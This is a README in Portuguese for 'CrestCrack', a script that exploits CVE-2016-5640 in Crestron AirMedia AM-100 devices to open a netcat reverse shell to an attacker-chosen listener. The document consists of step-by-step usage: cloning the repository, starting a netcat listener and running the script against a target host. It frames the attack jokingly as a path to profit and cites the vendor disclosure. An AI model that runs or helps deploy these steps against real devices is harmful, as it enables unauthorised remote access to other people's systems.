CrestCrack

CrestCrack é um script simples que explora o CVE-2016-5640 / CLVA-2016-05-002 no Crestron AirMedia AM-100 (v1.1.1.11 - v1.2.1). Quando executado com argumentos, o CrestCrack utiliza o netcat para criar um shell reverso entre o seu alvo e um ouvinte netcat de sua escolha.

Configuração:

1. Clone uma cópia do CrestCrack git clone https://github.com/vpnguy/CrestCrack
2. Inicie um ouvinte netcat nc -lvp 1337
3. Execute o CrestCrack contra seu alvo com as informações do ouvinte ./crestcrack.py https://targethost 255.255.255.255 1337
4. ??????
5. LUCRO

###Uso: ./crescrack.py [target host] [listener IP] [listener port]

###Exemplo: ./crescrack.py https://targethost 123.123.123.123 3311

Informações Adicionais sobre a Vulnerabilidade:

Divulgação de Vulnerabilidade da Cylance

NIST CVE-2016-5640

A ser adicionado:

• Tratamento de erros/verificação de limites
• Suporte aprimorado a argumentos
• Saída --help